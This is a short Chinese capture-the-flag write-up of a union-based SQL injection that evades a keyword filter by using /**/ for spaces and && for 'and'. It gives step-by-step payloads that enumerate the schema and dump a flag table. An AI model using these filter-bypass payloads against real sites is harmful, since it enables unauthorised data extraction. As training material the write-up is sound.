谢谢皮蛋 plus

同样还是联合注入，意在考查空格和 and 的绕过，为了避免直接使用报错注入得到 flag，将报错注入 ban 了

preg_match_all("/ |extractvalue|updataxml|and/i",$id)

值得注意的一个点是，这题是双引号闭合，如果没有细心的检查会误以为是单引号闭合

双引号中带有单引号也可以执行成功，属于 MySQL 的一种特性，可以自行尝试一下

and 使用 && 替换，空格使用 /**/ 替换，其他就是一样的操作了

查询当前数据库

-1"/**/union/**/select/**/1,database()#

查询所有表名

-1"/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/=/**/database()#

查询所有列名

-1"/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/=/**/'Fl4g'/**/&&/**/table_schema/**/=/**/database()#

得到flag

-1"/**/union/**/select/**/group_concat(des),group_concat(value)/**/from/**/Fl4g#